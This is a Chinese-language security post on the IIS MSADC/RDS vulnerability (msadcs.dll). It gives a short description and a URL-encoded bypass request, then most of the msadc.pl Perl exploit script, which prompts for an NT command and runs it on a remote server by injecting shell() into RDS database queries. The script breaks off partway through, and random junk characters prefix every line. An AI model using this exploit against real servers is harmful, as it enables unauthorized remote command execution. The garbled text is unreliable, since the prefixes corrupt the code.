IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(t"e#b(: /gP"X1. 涉及程序:
PDb7 h Microsoft NT server
vs{xr*Ft (S8hr,%n 描述:
%Vhj<gN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@gi / 1 cq RpzW- 详细:
BP=<TRp. 如果你没有时间读详细内容的话,就删除:
G!U
`8R c:\Program Files\Common Files\System\Msadc\msadcs.dll
><{Lh@{ 有关的安全问题就没有了。
v
K!vA-7 Bs\&'=l 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
A[H"(E#k \iAs 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
MZ_dI"J, 关于利用ODBC远程漏洞的描述,请参看:
w%~Mg3| +m1*ou'K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D YTC2 ,p6o "- 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
"T.Qb/97@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp W"H(HA ?{r -z3@ N 这里不再论述。
Nx<fj=VJ ,R=)^Gh{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[ N0"mE< a>egH
og /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZX0!BS 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
nQd~i0`vB LuWY}ste l:j>d^V*&x #将下面这段保存为txt文件,然后: "perl -x 文件名"
a[RqK# "BvDLe': #!perl
yAu.=Eo7 #
U)D}J_Zi( # MSADC/RDS 'usage' (aka exploit) script
Cg]S`R- #
*u!l"0'\ # by rain.forest.puppy
&+df@U6i #
h/7_I uD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Cf3<;Mp< # beta test and find errors!
uk)D2.eS, A3Y}|7QA use Socket; use Getopt::Std;
2 5Ia getopts("e:vd:h:XR", \%args);
vn ^* tF!-}{c"k print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<4%PT2R Q`BB@E if (!defined $args{h} && !defined $args{R}) {
#fxdZm, print qq~
,<fs+oi Usage: msadc.pl -h <host> { -d <delay> -X -v }
hc]5f3Z -h <host> = host you want to scan (ip or domain)
H'x_}y -d <seconds> = delay between calls, default 1 second
8s>OO& -X = dump Index Server path table, if available
e.]k4K -v = verbose
jiP^Hz"e
-e = external dictionary file for step 5
Hf9F:yH .>@]Im Or a -R will resume a command session
B2,JfKk/ DpQ:U 5j
~; exit;}
9 tIE+RD z`Xc] cPi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I1!m;5-c9k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
K(Ak+&[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n(jrK9] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;% 4N@Z $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"@rXN"4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}N@+bNh~ E 7"`D\* if (!defined $args{R}){ $ret = &has_msadc;
FyA0" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
h
F *c 'Jl73#3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
o<!tNOH . "cmd /c ";
UKf0cU $in=<STDIN>; chomp $in;
cB}6{c$_sW $command="cmd /c " . $in ;
g
I4Rku `<*
tp@ if (defined $args{R}) {&load; exit;}
Ky)*6QOw AP(%m'; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{@>6E8)H5 &try_btcustmr;
B q7Qbj YbuS[l8 print "\nStep 2: Trying to make our own DSN...";
1^ y^b{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"sUmk e-# u-HBmL print "\nStep 3: Trying known DSNs...";
=Y-mc#{8 &known_dsn;
]gDX~]f[ "ac$S9@~ print "\nStep 4: Trying known .mdbs...";
r$&WwH2^ &known_mdb;
B-[qS;PY% '))=y@M if (defined $args{e}){
2g%p9-MO]I print "\nStep 5: Trying dictionary of DSN names...";
z460a[Wl &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l6< bV#_qe tQcn%CK print "Sorry Charley...maybe next time?\n";
X>ck.}F exit;
oVeC@[U 3zo:)N \K ##############################################################################
fi';Mb3B3 nSB@xP#& sub sendraw { # ripped and modded from whisker
}vt>}%% sleep($delay); # it's a DoS on the server! At least on mine...
!Bn,f2 my ($pstr)=@_;
;<nQl,2N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
v42Z&PO
die("Socket problems\n");
CG[04y if(connect(S,pack "SnA4x8",2,80,$target)){
%lS jC%Z'd select(S); $|=1;
qruv^#_l print $pstr; my @in=<S>;
I.u[9CI7HU select(STDOUT); close(S);
)H-y return @in;
&``nYI g/ } else { die("Can't connect...\n"); }}
?m dGMf) gR@,"6b3 ##############################################################################
`8G {-_ 3Jw}MFFV sub make_header { # make the HTTP request
t(=Z@9)]4F my $msadc=<<EOT
K1m'20U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
vs(x;zpJ User-Agent: ACTIVEDATA
Rge\8H/z Host: $ip
287)\FU;3 Content-Length: $clen
"UTAh6[3oD Connection: Keep-Alive
ZA'Qw2fF0 u]s}@(+. ADCClientVersion:01.06
6:qh%ZR Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0'~Iv\s g0A,VX:2 --!ADM!ROX!YOUR!WORLD!
_4~q&?}V Content-Type: application/x-varg
PR~9*#"v.. Content-Length: $reqlen
4?.L+wL Q(h/C!rKe EOT
>IE`, fe ; $msadc=~s/\n/\r\n/g;
8&UwnEk< return $msadc;}
s!WI:E7 wUcp_)aE| ##############################################################################
B%/N{i*Z H:.l:PJ sub make_req { # make the RDS request
.0iHI3i^ my ($switch, $p1, $p2)=@_;
GKa_6X_ my $req=""; my $t1, $t2, $query, $dsn;
6'qu[~}Q Gey j`t if ($switch==1){ # this is the btcustmr.mdb query
]j57Gk%z $query="Select * from Customers where City=" . make_shell();
= `oGH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
tW}At $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6$LQO),, c,_??8 elsif ($switch==2){ # this is general make table query
Z^r?
MX/ $query="create table AZZ (B int, C varchar(10))";
ZA.i\
;2 $dsn="$p1";}
j=n<s</V |7%#z~rT elsif ($switch==3){ # this is general exploit table query
*W$bhC'w $query="select * from AZZ where C=" . make_shell();
dI)
9@UL $dsn="$p1";}
jRNDi_u?Wb ;eT+Ly|{ elsif ($switch==4){ # attempt to hork file info from index server
q-TDg0 $query="select path from scope()";
gMUCVKGf $dsn="Provider=MSIDXS;";}
ZOY zCc(d $W0O elsif ($switch==5){ # bad query
klSA Y $query="select";
j/uu&\e $dsn="$p1";}
n5;>e& x5%x""VEK $t1= make_unicode($query);
6uKS!\EY| $t2= make_unicode($dsn);
BSHtoD@e7 $req = "\x02\x00\x03\x00";
H/N4tWk" $req.= "\x08\x00" . pack ("S1", length($t1));
^]ig*oS\` $req.= "\x00\x00" . $t1 ;
se&Q\!&M $req.= "\x08\x00" . pack ("S1", length($t2));
6"<q{K $req.= "\x00\x00" . $t2 ;
jCp`woV $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@t4OpU<'*b return $req;}
j6DI$tV~ YK%rTbB( ##############################################################################
gt)wk93d> eq,`T; sub make_shell { # this makes the shell() statement
aDZ] {; return "'|shell(\"$command\")|'";}
oxXCf%! (fcJp)D ##############################################################################
I@q(P>]X9 a<CACWsN.T sub make_unicode { # quick little function to convert to unicode
,WtJ&S7? my ($in)=@_; my $out;
3V%ts7: a for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/a?qtRw return $out;}
M*2
Nq=3 3H,?ZFFGz ##############################################################################
TeNPuY~WP -T{G8@V0I sub rdo_success { # checks for RDO return success (this is kludge)
r>cN,C my (@in) = @_; my $base=content_start(@in);
jH?!\F2)+ if($in[$base]=~/multipart\/mixed/){
"? ON0u9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
i6 )HC return 0;}
:s>x~t8g#n ug^esB ##############################################################################
~Aw.=Yi= S pk8u4 sub make_dsn { # this makes a DSN for us
cUC!'+L my @drives=("c","d","e","f");
':!aFMj^ print "\nMaking DSN: ";
JsHD3 foreach $drive (@drives) {
tR(nD UHV5 print "$drive: ";
~DP_1V? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{[dY$
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%jn)=;\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#*X\pjZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
UX%J?;g return 0 if $2 eq "404"; # not found/doesn't exist
0t7vg#v| if($2 eq "200") {
t ^~Qv foreach $line (@results) {
M< / return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
vKBijmE } return 0;}
|dhKeg_ vn4z C ##############################################################################
DB3qf>@? `G`yA% sub verify_exists {
z]R%'LGu my ($page)=@_;
Z}S7%m my @results=sendraw("GET $page HTTP/1.0\n\n");
^.PCQ~Ql return $results[0];}
i!EAs`$o` &yG5w4< ##############################################################################
8kT`5`}lB ^@^K
<SVc sub try_btcustmr {
9;NXzO27 my @drives=("c","d","e","f");
\3`r/,wY my @dirs=("winnt","winnt35","winnt351","win","windows");
E8BIb 'b; f$ 7C 5 foreach $dir (@dirs) {
P1ak>T*#2 print "$dir -> "; # fun status so you can see progress
quRTA"!E foreach $drive (@drives) {
MUSsanCA print "$drive: "; # ditto
bvS6xU-
J $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6ZfL-E{ $reqlenlen=length( "$reqlen" );
\rd%$hci $clen= 206 + $reqlenlen + $reqlen;
0o!mlaU# j4I ~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
p>B-Ubu if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
HoK+g_9~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
i` Q&5KL -iL:D<!Cb_ ##############################################################################
)D ~ 5 nc6PSj X sub odbc_error {
Jj?HOtaM my (@in)=@_; my $base;
;Y0M]pC my $base = content_start(@in);
b!bg sd if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&